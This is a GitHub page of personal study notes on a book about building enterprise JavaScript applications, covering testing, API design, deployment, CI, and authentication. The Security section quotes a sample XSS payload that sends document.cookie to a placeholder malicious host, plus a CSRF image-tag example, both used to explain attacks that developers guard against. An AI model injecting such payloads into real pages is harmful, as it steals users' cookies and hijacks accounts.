-
Notifications
You must be signed in to change notification settings - Fork 15
/
Building Enterprise JavaScript Application=Daniel Li;Note=Erxin.txt
1431 lines (953 loc) · 53 KB
/
Building Enterprise JavaScript Application=Daniel Li;Note=Erxin.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
Building Enterprise JavaScript Application=Daniel Li;Note=Erxin
# Building Enterprise JavaScript Applications
- Full stack developers working experience list
build tools,
linters,
testing frameworks,
assertion libraries,
package managers,
module loaders,
module bundlers,
routers,
web servers,
compilers,
transpilers,
static typecheckers,
virtual DOM libraries,
state management tools,
CSS preprocessors and UI Frameworks
etc.
- common in enterprise environment and high likelihood of remaining relevant for a long time
This narrowed down the list to these tools—
Git,
npm,
yarn,
Babel,
ESLint,
Cucumber,
Mocha,
Istanbul/NYC,
Selenium,
OpenAPI/Swagger,
Express,
Elasticsearch,
React,
Redux,
Webpack,
Travis,
Jenkins,
NGINX,
Linux,
PM2,
Docker, and Kubernetes.
We will utilize these tools to build a simple, but robust, user directory application that consists of a backend API and a frontend web user interface (UI).
- what's not covered
+ static type checking
+ configuration management with Puppet/Ansible
+ monitoring and visualizing metrics using Prometheus and Grafana
+ distributed logging using Logstash/Kafka
+ tracing using Zipkin
+ stress/load testing using artillery
+ backups and disaster recovery
- example code
- convention
- get in touch
- reviews
# Section 1, Theory and practice
- a Proof of Concept (PoC) and Minimum Viable Product (MVP)
- Technical debt leads to low morale
+ lack of talent
+ lack of time
+ lack of morale
* lower productivity
* lower code quality
* high turn over
- repaying technical debt through refactoring. Should be the part of a development process
+ well-structured
+ well-documented
+ succinct, be concise
+ well-formatted and readable
- prevent the technical debt
+ informing the decision makers
+ triple constraint model
time
cost
quality
+ more decision makers pick time and cost over quality
- don't be a hero. your business owner's/manager's role is to get as much out of you as possible. It's your duty to inform them what is possible and not
+ You may not actually complete the feature in time, while the business has planned a strategy that depends on that deadline being met.
+ You've demonstrated to the manager that you're willing to accept these deadlines, so they may set even tighter deadlines next time, even if they don't need to.
+ Rushing through code will likely incur technical debt.
+ Your fellow developers may resent you, since they may have to work overtime in order to keep up with your pace; otherwise, their manager may view them as slow.
- defining processes
## TDD
- Acceptance Test-Driven Development (ATDD), where the test cases mirror the acceptance criteria set by the business.
Another flavor is Behavior-Driven Development (BDD), where the test cases are expressed in natural language
- pick a feature and define a test case
mocha
chai
it
- avoiding manual tests, test as specification. this will enforce you break down your tasks
This also helps you to abide by the You Aren't Gonna Need It (YAGNI) principle, which prevents you from implementing features that aren't actually needed.
- test as document, tests should be supplemented by inline comments and automatically-generated document
- difficulties with TDD adoption
+ inexperienced team
+ slower initial development speed
+ legacy code
+ slow tests, unit/integration tests
- when not to use TDD, TDD introduces a high initial cost
+ Proof-of-concept (Poc)
+ product owner has not defined clear requirement. Show the quick development result and modify the code on new requirement
## State of JavaScript, Client-Service Model or Single page application
- browser using html DOM, css CSSOM to render the webpage
- just in time compilers.
- In the SPA model, the server would initially send the entire application, including any HTML, CSS, and JavaScript files, to the client. All the application logic, including routing, now resides on the client.
- drawback of SPA, The most obvious shortcoming of SPAs is that more code needs to be transferred. To counteract this deficiency, a technique called server-side rendering (SSR) can be employed.
- With SSR, the initial page is processed and rendered on the server in the same way as the traditional client-server model. However, the returned HTML contains a tag that'll request the rest of the application to be downloaded at a later time
## Managing version history with Git
- the driessen model
```
Time feature branches... develop release branches... hotfixes master
1 . . | . . |
2 +---------------------o<----------------------------------------o
. V . | . . |
. o +-----------------o . . |
. | V | . . |
. o o | . +--------------o<------o
. | | | . | | |
. | o | . | +------>o
. | +---------------->o------------>o<---+ |
. | . | | |
. o .
. |
```
- semantic versioning, MAJOR.MINOR.PATCH
Patch: After a backward-compatible hotfix
Minor: After a backward-compatible set of features/bug fixes have been implemented
Major: After a backward-incompatible change
# Section 2, Developing our backend API
## Setting up dev tools
- nodejs, npm, yarn etc
- comic
https://www.xkcd.com/
- ECMAScript features, http://kangax.github.io/compat-table/.
- using yarn instead of npm
yarn (https://yarnpkg.com/) uses the same https://www.npmjs.com/ registry as the npm CLI.
you can use npm and yarn interchangeably. The differences are in their methods for resolving and downloading dependencies.
npm install package sequentially and yarn installs in parallel
+ install from npm
$ npm install --global yarn
+ linux
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.listsudo apt-get update && sudo apt-get install yarn
- package version locking
+ yarn, by default, creates a lock file, yarn.lock. The lock file ensures that the exact version of every package is recorded
+ npm 5.0.0+ will create the lock file
- command line comparison
yarn npm
yarn install npm install
yarn add npm install <package-name>
yarn remove <pk> npm uninstall <pk>
yarn global add <pk> npm install <pk> --global
yarn upgrade rm -rf node_modules && npm install
yarn init npm init
- transplanter
babel
typescript
coffee
- separate the source and distribution code into two different directories.
- automating development using nodemon
$ yarn add nodemon --dev
nodemon is a tool that monitors for changes in our code and automatically restarts the node process when a change is detected
- linting with ESLint
$ yarn add eslint --dev
$ npx eslint --init
- Adding pre-commit hooks, a tool called Husky, which hugely simplifies the process for us. Let's install it
## Write test
- TDD, approach into practice by End-to-End(E2E)
implementing a TDD workflow, specifically following the Red-Green-Refactor cycle
Write E2E tests with Cucumber and Gherkin
unit tests
integration tests
E2E/functional tests, flow of an application from start to finish. acting as if we are the end consumer
UI test
Manual test, unintuitive and bad user experience
Acceptance tests, most focus on business need, Parts of the acceptance tests may be written in a Behavior-Driven Development (BDD) format
- formalizing requirements through documentation
+ people have bad memories
+ it prevents misinterpretation
+ a formalized requirement provides a single source of truth
+ a formalized requirement can be improved
- refining requirements into specification and write tests as specification
- writing manual test and using test case management tool
TestLink (testlink.org), as well as proprietary alternatives, such as
TestRail (gurock.com/testrail/),
qTest (qasymphony.com/software-testing-tools/qtest-manager/),
Helix TCM (perforce.com/products/helix-test-case-management),
Hiptest (hiptest.net),
PractiTest (practitest.com), and many more.
- setting up E2E test with cucumber
- features, scenarios and steps
- Gherkin keywords
Feature
Scenario
Given, When, Then, And, But
Background
Scenario Outline
Example
""", doc string
|, specify more complex data tables
@, allows you to group relative scenarios together using tags
(#), # allows you to specify comments
+ Full Support VSCode Extension (github.com/alexkrechik/VSCucumberAutoComplete)
+ running scenarios
+ implementing step definitions
+ add asserts
- using a debugger for node.js debugging
+ chrome devtools
To use Chrome DevTools for Node.js debugging, simply pass in the --inspect flag when you run node, then navigate to chrome://inspect/#devices in Chrome, and click on the Open dedicated DevTools for Node link, which will open the debugger in a new window.
+ using ndb, Google released ndb (https://github.com/GoogleChromeLabs/ndb), an "improved" debugger that is based on Chrome DevTools, and uses Puppeteer (github.com/GoogleChrome/puppeteer) to interact with Chromium over the DevTools Protocol. It requires at least Node.js v8.0.0
$ yarn add ndb --dev
on windows also required install windows-build-tools
$ yarn global add windows-build-tools
- using the visual studio code debugger
+ add debugger; command
+ After you've set the breakpoint, go to the Debugger tab in your editor. Click the Start Debugging button
+ for babel, To instruct VSCode to process modules, we can do one of two things:Install the @babel/node package and instruct VSCode to execute our file using babel-node.
Instruct VSCode to add the --experimental-modules flag when running Node. This has been supported since Node v8.5.0.
$ yarn add @babel/node --dev
- retaining line numbers
+ work-in-progress commits
- using express to implement the web application
- run E2E test
- moving common logic into middleware
- validating our payload
## Store data
- Storing data in elasticsearch
- install
+ install java and elasticsearch
+ understanding concepts indices, types and documents
+ using elasticsearch JavaScript client to complete our create user endpoint
+ writing a bash script to run our E2E tests with a single command
- introduce elasticsearch, At its core, Elasticsearch is a high-level abstraction layer for Apache
However, searching on normalized data is extremely inefficient. Therefore, to perform a full-text search, you would usually denormalize the data and replicate it onto more specialized database such as Elasticsearch.
- install elasticsearch client
$ yarn add elasticsearch
- running tests in a test database
You can find detailed instructions at docs.microsoft.com/en-us/windows/wsl/.
- The first line of a shell script is always the shebang interpreter directive; it basically tells our shell which interpreter it should use to parse and run the instructions contained in this script file.
## Modularizing our code
- The single responsibility principle
- SOLID principle, which is a mnemonic acronym for single responsibility, open/closed, Liskov substitution, interface segregation, and dependency inversion.
- schema based validation
+ The most common schema used in JavaScript is JSON Schema (json-schema.org).
+ joi (https://github.com/hapijs/joi) allows you to define requirements in a composable, chainable manner, which means that the code is very readable
+ validate.js (https://validatejs.org/) is another very expressive validation library, and allows you to define your own custom validation function.
- interoperability
Swift: JSONSchema.swift (https://github.com/kylef-archive/JSONSchema.swift)
Java: json-schema-validator (github.com/java-json-tools/json-schema-validator)
Python: jsonschema (pypi.python.org/pypi/jsonschema)
Go: gojsonschema (github.com/xeipuuv/gojsonschema)
- expressiveness, JSON schema supports many validation keywords
## Writing Unit/ Integration Tests
- mocha
- record function calls with spies (spy in sinon), stubs, sinon library
- dependency injection (DI) or monkey patching
- measuring test coverage with istanbul/nyc
https://github.com/istanbuljs/nyc
By default, nyc only collects coverage for source files that are visited during a test. It does this by watching for files that are require()'d during the test. When a file is require()'d, nyc creates and returns an instrumented version of the source, rather than the original. Only source files that are visited during a test will appear in the coverage report and contribute to coverage statistics.
- picking a testing framework
Jasmine (jasmine.github.io),
Mocha (mochajs.org),
Jest (jestjs.io), and
AVA (github.com/avajs/ava).
- This highlights the point that code coverage cannot detect bad tests.
- unifying test coverage
- ignoring files with .nycrc file
## Design our API
- REST stands for representational state transfer, and is a set of architectural styles that dictates the manners and patterns in which you construct your API. REST is nothing new; Six requirement for REST.
client-server
stateless
cacheable
layered system
code on demand
uniform interface
+ identification resources
+ manipulation of resources
+ self-descriptive messages
+ hypermedia as the engine of application state(HATEOAS)
- what rest is not
+ REST is an architectural style, and does not impose low-level implementation details.
- API design, consistency in API design
http://restlet.com/company/blog/2017/05/18/the-four-levels-of-consistency-in-api-design/
- sending the correct HTTP status code
Status Class of response Description
1xx Information The request was received but not processed
2xx Success
3xx Redirection
4xx Client error The request is syntactically incorrect.
5xx Server error The request is valid but error on the server
+ most developers won't be able to remember all the 62 APIs. common nine status code
200 OK
201 created
400 bad request
401 unauthorized
403 forbidden
404 not found
409 conflict
415 unsupported media type
500 internal server
- using http method
GET, retrieval of a resource
POST, requests where the server decides how to proces the request data
PUT, put entity to be stored
PATCH, partial changes to an existing resource
DELETE, delete a resource
HEAD, requests for the metadata of a resource
OPTIONS, requests for information from the server
+ the related concept of idempotency. An idempotent HTTP method is one that can be repeated multiple times but still produces the same outcome as if only a single request was sent.
method safe idempotency
connect x x
delete x x
get v v
head v v
options v v
post x x
put x v
patch x x
trace v v
- Following the guidelines, we will also structure our API paths using the /<collection>/<id> structure, where <collection> is a class of resources
- using ISO formats, international organization for standardization
date/time, 8601
currencies, 4217
countries, 3166-1 alpha-2
languages, ISO 639-2
- naming convention
Use kebab-case for URLs
Use camelCase for parameters in the query string, for example, /users/12?fields=name,coverImage,avatar
For nested resources, structure them like so: /resource/id/sub-resource/id, for example, /users/21/article/583
- consistent data exchange format, JSON, XML etc.
- error response payload
code, a numeric error code to be used by the program
message, a short, human-readable summary of the error
description, an optional longer, more detailed description of the error
- transversal consistency
- domain consistency, identified with a PubMed Identifier (PMID), PMCID, Manuscript ID, or Digital Object Identifier (DOI), so your API's response object should include fields that contain these different identifiers
- perennial consistency, perennial means the API structure should stay the same for a long time, but not forever.
- breaking changes in APIs
+ maintain workload
+ different set of data
+ prolong
- future-proofing your URL,
- future-proofing your data structure
- versioning, if a breaking change cannot be avoided. we must abide the semantic versioning
in the url, /v2/users
as part of the accept header. Accept: application/vnd.hobnob.api.v2+json
+ provide a grace period whenever possible
+ provide deprecation warnings
+ provide a clear list of all breaking changes
+ provide clear instructions on how to migrate to the newer version
- intuitive
+ API design. Likewise, an API should be self-explanatory and as obvious as possible.
- URLs for humans
+ Related endpoints should be grouped.
foo.com/v1/{group}/...
- keep it simple stupid (KISS)
+ The rule is to think about what are the minimum set of functions that can be exposed, but still allow a typical user to perform all the necessary functions
+ more API exposes than think about take away a toy they are playing with, and you may find your ears ringing for a while.
- completing our API
delete, by id
search,
create,
retrieve, by id
update
## Deploying your application on a VPS, virtual private server, setup Nginx
- VPS, virtual private server
- obtaining an IP address
- get IP from an Internet Service Provider (ISP). check server IP by
$ curl ipinfo.io/ip
- managed DNS
The first issue can be mitigated using Managed DNS services, such as No-IP (noip.com) and Dyn (dyn.com), which provide a dynamic DNS service.
The second issue can be mitigated by using port redirect, which is a service that most Managed DNS services also provide.
Dynamic DNS simply changes a DNS record; no application traffic actually arrives at the Managed DNS servers. On the other hand, with port redirect, the Managed DNS service acts as a proxy that redirects HTTP packets. If you'd like to try them out, No-IP provides a Free Dynamic DNS service, which you can sign up for at noip.com/free.
A better alternative is to register an account with a cloud provider and deploy our application on a VPS. A VPS is essentially a virtual machine (VM) that is connected to the internet and is allocated its own static IP address. In terms of costs, VPS can cost as low as $0.996 per month!
- VPS providers
Amazon Elastic Compute Cloud (Amazon EC2): aws.amazon.com/ec2
IBM Virtual Servers: ibm.com/cloud/virtual-servers
Google Cloud Compute Engine: cloud.google.com/compute
Microsoft Azure Virtual Machines: azure.microsoft.com/services/virtual-machines
Rackspace Virtual Cloud Servers: rackspace.com/cloud/servers
Linode: linode.com
For this book, we are going to use DigitalOcean (DO, digitalocean.com). We picked DO because it has a very intuitive user interface (UI)
You should also set up Two-Factor Authentication (2FA) on your account to keep it secure.
- naming your server
[environment].[feature].[function][replica]
a load balancer for an authorization service in the staging environment, its hostname may be staging.auth.lb1.
- connect to remote server
$ ssh root@<server-ip>
- set up account and create new user
$ sudo adduser <username>
add to sudo group
$ sudo usermod -aG sudo <username>
- setting up public key authentication
- checking for existing ssh
$ ~/.ssh/ && ls -ahl
- creating an ssh key
$ ssh-keygen -t rsa 4096 -C <your-email-address>
- adding the ssh key to the remote server
$ cat ~/.ssh/id_rsa.pub
...
- using ssh-copy-id
- disable password-based authentication
- disable root login
sshd_config
PermitRootLogin no
- firewall, iptables
$ sudo iptables -L -n -v
- configure timezone
$ sudo ufw allow OpenSSH
- using ufw to run our API
$ sudo ufw allow 8080
- keeping our API alive with PM2
+ ubuntu provides upstart daemon upstart.ubuntu.com can monitor a service and respawn it
+ npm package forever githu.com/foreverjs/forever
+ pm2.keymetrics.io to be best process manager
$ yarn add pm2 --dev
- privileged ports
$ sudo ufw allow 80
$ sudo ufw delete allow 8080
- running as root no
- de-escalating privileges, de-escalate the privileges later by setting the user and group identity of the process to the user/group who issued the sudo command. We do this by using the environment variables SUDO_UID and SUDO_GID, and setting them using process.setgid and process.setuid:
- setting capabilities. Another solution is to set capabilities.On Linux, when a thread or process requires certain privilege(s) to perform an action, such as reading a file or binding to a port, it checks with a list of capabilities.
binding to privileged ports
$ sudo setcap CAP_NET_BIND_SERVICE=+ep $(which node)
check the capability by using getcap
$ sudo getcap $(which node)
$ sudo setcap -r $(which node)
$ sudo getcap $(which node)
- using authbind, authbind is a system utility that allows users without superuser privileges to access privileged network services, including binding to privileged ports:
$ sudo apt install authbind
if a user has permission to access the /etc/authbind/byport/<port> file, then that user is able to bind to that port
$ sudo touch /etc/authbind/byport/80
$ sudo chown hobnob /etc/authbind/byport/80
$ sudo chmod 500 /etc/authbind/byport/80
$ npx pm2 delete 0; authbind --deep yarn run serve
- using iptables, we could use the firewall redirect the access from 80 to 8080
$ sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
- using reverse proxy, most popular method is to use a reverse proxy server to redirect traffic from one port to another.
+ reverse proxy receives a request
+ replay the request to the proxied service
+ it receives the response from the service
+ it sends the response back to the client
- NGINX
+ can host multiple services
+ handle ssl encryption
+ caching and GZIP compression
+ act as a load balancer
+ configuration as code
+ update the nginx setting
- Installation for other platforms can be found at nginx.com/resources/wiki/start/topics/tutorials/install/.
$ echo "deb http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
By default, there are two places that Ubuntu will search: inside the /etc/apt/sources.list file and inside files under the /etc/apt/sources.list.d/ directory.
regenerate source list
$ echo "deb http://nginx.org/packages/ubuntu/ bionic nginx" | sudo tee -a /etc/apt/sources.list.d/nginx.list
- configure nginx, There are two types of directives: simple and block.
- configuring the http module.
http {
server {
...
}
}
available fields
listen
server_name
location
root
proxy_pass
- buy a domain
- understanding DNS, a full interrogation of the process http://blog.danyll.com/resolving-domain-names/
The resolving nameserver would first check its internal cache, and use the cached entry if available. If it cannot find an entry for your FQDN, it will query one of the top-level domain (TLD) nameservers. They will return the IP address of a domain-level nameserver
- updating the domain nameserver. Go to your Namecheap Dashboard (ap.www.namecheap.com) and select your domain.
Because resolving nameservers caches results, it may take up to 48 hours for our changes to be propagated to all nameservers. You can use services such as whatsmydns.net to check the propagation progress for different nameservers around the world.
- building our zone file. A zone file is a text file that describes a DNS zone, which is any distinct, contiguous portion of the domain namespace that is managed by a single entity
UI provided by DigitalOcean to manage our DNS settings. If you have chosen a different hosting provider, the UI may be different
The next most important record types are the A and AAAA records, which map a hostname to an IP address. A maps the host to an IPv4 address, whereas an AAAA record maps it to an IPv6 address.
- Start of authority(SOA).
hobnob.social. IN SOA ns1.digitalocean.com. dan.danyll.com ( <serial>, <refresh>, <retry>, <expiry>, <negativeTTL> )
+ ns1.digitalocean.com is the primary master nameserver, which holds the most up-to-date zone file.
+ dan.danyll.com is the email for the administrator responsible for this DNS zone.
+ <serial> is the serial number for the zone file, which is essentially a version counter.
+ <refresh> is the amount of time a slave nameserver will wait before pinging the master server to see whether it needs to update its zone file.
+ <retry> is the amount of time a slave nameserver will wait before pinging the master server again
+ <expiry> is the amount of time that the zone file should still be deemed to be valid
+ <negativeTTL> is the amount of time the nameserver will cache a lookup that failed
- updating ugnix
In the /etc/nginx/sites-available and /etc/nginx/sites-enabled directories, update the names of the files to the corresponding FQDN
$ cd /etc/nginx/sites-available/
$ sudo mv api api.hobnob.social
$ cd /etc/nginx/sites-enabled/
$ sudo rm api
$ sudo ln -s /etc/nginx/sites-available/api.hobnob.social \ /etc/nginx/sites-enabled/
server {
listen 80 default_server;
server_name api.hobnob.social
location {
proxy_pass http://localhost:8080;
}
}
$ sudo systemctl reload nginx.service
## Continuous integration
- TDD
- CI server
Travis,
CircleCI,
Bamboo,
Shippabl)
self-hosted CI-capable platforms (such as
Jenkins,
TeamCity,
CruiseControl,
BuildBot
- integrate with a CI server
+ SCM, source code maangement
+ build triggers
+ build environment
+ build
+ post-build action
- activating our project
- GitHub's Commit Status API (developer.github.com/v3/repos/statuses/), which allows third parties to attach a status to commits.
- CI pipe line
The complete Global Variables list can be found at /pipeline-syntax/globals.
- installing docker
- integrate with github and github hook. Using the github plugin
- how you how to implement a stateless authentication and authorization scheme using JSON Web Tokens (JWTs). Being stateless is extremely important to ensure the scalability of our application
Understand encoding, hashing, salting, encryption, block ciphers, and other cryptographic techniques
Understand and implement password-based authentication
Understand and implement token-based authentication using JSON Web Tokens (JWTs)I
mplement authorization checks to make sure users can only perform actions that we allow
## Security
- password authentication
Passwords can be brute-forced: a malicious party can try out common passwords
man in the middle attack
e strong passwords to prevent brute-force attacks, and also cryptographically hash the password before sending it over the wire
- hashing passwords
- cryptographic hash functions
+ MD5 is not a suitable algorithm for hashing passwords because although the digests look like gibberish, there are now tools that can use the digest to reverse-engineer the password
+ cryptographic has functions for hash the password
deterministic
one-way
exhibits the avalanche effect
collision-resistant
slow robust
+ hashing algorithms, most popular ones:
MD4,
MD5,
MD6,
SHA1,
SHA2 series (including SHA256, SHA512),
SHA3 series (including SHA3-512, SHAKE256), R
IPEMD,
HAVAL,
BLAKE2,
RipeMD,
WHIRLPOOL,
Argon2,
PBKDF2,
bcrypt.
modern cryptographic hash functions such as PBKDF2 and bcrypt.
MD5, SHA1 are not secure now
+ There are three modern algorithms that utilize hash stretching: Password-Based Key Derivation Function 2 (PBKDF2), bcrypt, and scrypt.
- generate fake salt
- login, Specify a password digest when creating a new userQuery for the digest salt
- keeping users authenticated
seession IDs, This session ID is simply a long, randomly generated text. The idea is that because the string is long and random enough that no one would be able to guess a valid session ID
claims (tokens), formatted into a standardized format and signed using a key, producing a token. This token is then sent back to the client, which attaches it to every request
+ stateless
+ reduced server load
+ scalability
+ information-rich
+ portable/transferable
+ more secure
- anatomy of a JWT
header
payload
signature
JWT is a JSON Web Signature (JWS) or JSON Web Encryption (JWE). You can find the full list of headers at iana.org/assignments/jose/jose.xhtml.
- They are defined in the JWT specification and can be found on the Internet Assigned Numbers Authority (IANA)
- Asymmetric signature generation
Rivest–Shamir–Adleman (RSA) family, which uses the SHA hash algorithm, and includes RS256, RS384, and RS512
Elliptic Curve Digital Signature Algorithm (ECDSA) uses the P-256/P-384/P-521 curve and SHA hash algorithm, and include ES256, ES384, and ES512
- Symmetric signature generation, algorithms include the Keyed-hash message authentication code (HMAC) with the SHA hash algorithm, and includes HS256, HS384, and HS512
- terminology and summary
A JSON Web Token (JWT) is a string that includes the JOSE Header and the claim set, and is signed and (optionally) encrypted.
JSON Web Algorithms (JWA) specification, which uses cryptographic keys as defined in the JSON Web Key (JWK) specification. The combination of the header, claim set, and signature becomes the JSON Web Signature (JWS).
- using library jsonwebtoken for nodejs
- generating the token. using the private key, stored at process.env.PRIVATE_KEY, to sign the token:
- http cookies
+ using http cookies
Response from server:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Expires=<date>
most browser clients will automatically send this key-value store back with each subsequent request, this time inside a Cookie header:
Cookie: name1=value1; name2=value2
cookies are also vulnerable to Cross-Site Scripting (XSS) and Cross-Site Request Forgery (XSRF) attacks.
- XSS, cross-site scripting
if the server does not sanitize comments then a malicious party can write following comment
document.write('<img src="https://some.malicious.endpoint/collect.gif?cookie=' + document.cookie + '" />')
- Cross-Site Request Forgery (XSRF)
<img src="http://target.app/change-password/?newPassword=foobar">
- HTTP headers
Instead, we should store the token using one of the modern web storage APIs (sessionStorage or localStorage), and send it back using HTTP header fields.
- Authorization header
authentication schemes supported, such as Basic, Bearer, Digest, Negotiate, and OAuth, plus many more. The most common schemes are Basic and Bearer
- preventing man in the middle (MITM) attacks
+ implement end-to-end encryption (E2EE) of the connection using Hyper Text Transfer Protocol Secure (HTTPS), the secure version of HTTP. To use HTTPS, you'd need to set up an SSL/TLS certificate for your domain
+ certificate authority (CA)
enable HTTPS on the API, the Linux Foundation provides a free CA called Let's Encrypt (letsencrypt.org). It also provides a tool called Certbot (certbot.eff.org), which enables you to automatically deploy Let's Encrypt certificates.
+ read about MITM attacks, http://owasp.org/index.php/Man-in-the-middle_attack.
- encrypting digest, prevent attacker get both the salt and the digest, then they could brute force a user's password
this issue is to use a pepper—a variation of a salt, with the following differences:The pepper is not publicThe pepper is not stored in the database, but on another application server, so that the pepper is separate from the saltThe pepper may be a constant that's set in the application server as an environment variable
- block cipher, an algorithm for symmetric-key encryption, takes two parameters—a plaintext and a key—and runs them through the algorithm to generate a ciphertext
- exploring the secure remote password (SRP) protocol
SRP is used by Amazon Web Services (AWS) and Apple's iCloud, among others. So if security is something that interests you
extracted from SRP's official website (srp.stanford.edu/whatisit.html)
## Documenting our API, completes the development of our API by documenting it using Swagger
- user friendly API documentation
- high-level overview of our API
overview of platform
example use cases
where to find more resources
includes a step by step guide tour
includes API specification
- overview of OpenAPI specification(OAS), YAML, Swagger UI
example when calling POST /login
'''
paths:
/login:
post:
requestBody:
description: User Credentials
required: true
content:
application/json:
schema:
properties:
email:
type: string
format: email
digest:
type: string
pattern: ^\\$2[aby]?\\$\\d{1,2}\\$[.\\/A-Za-z0-9]{53}$
responses:
'200':
$ref: '#/components/responses/LoginSuccess'
'400':
$ref: '#/components/responses/ErrorBadRequest'
'401':
$ref: '#/components/responses/ErrorUnauthorized'
'500':
$ref: '#/components/responses/ErrorInternalServer'
'''
- open source tools (such as Dredd—http://dredd.org ), we can automatically test our API server to see if it complies with the specification.
https://apiblueprint.org
- pick a API specification language
OpenAPI (formerly Swagger).
RAML
API Blueprint
- Swagger toolchain, OAS 2.0 is identical to Swagger 2.0 apart from the name.
Editor, http://petstore.swagger.io
UI
Codegen
Inspector, test your endpoints, validate REST, GraphQL, and SOAP APIs. Like Postman, it saves a history of your past queries
- write API specification with YAML
+ key-value pairs and lists. To represent a set of key-value pairs, simply write each one on a new line, separated by a colon and space:
title: Hobnob
description: simple publishing platform
+ To conserve newline characters, use the pipe (|) character
Or to break a line of text over multiple lines use the greater-than character (>):
contact:
name: >
a
b
c
- overview of root fields of OpenAPI
openapi: "3.0.0"
info:
title: Hobnob User Directory
version: "1.0.0"
contact:
name: Support
email: dan@danyll.com
servers:
- url: http://localhost:8080/
description: Local Development Server
tags:
- name: Authentication
description: Authentication-related endpoints
- name: Users
description: User-related endpoints
- name: Profile
description: Profile-related endpoints
- specifying the GET/salt endpoint
- The full specification for the Operation Object can be found at github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.0.md#operation-object.
paths:
/salt:
get:
tags:
- Authentication
summary: Returns the salt of a user based on the user's email
description: Even if there are no users with the specified email, this endpoint will still return with a salt. This is to prevent the API leaking information about which email addresses are used to register on the platform.
- generating documentation with swagger
Swagger UI source files from github.com/swagger-api/swagger-ui/releases and statically serve the page at dist/index.html.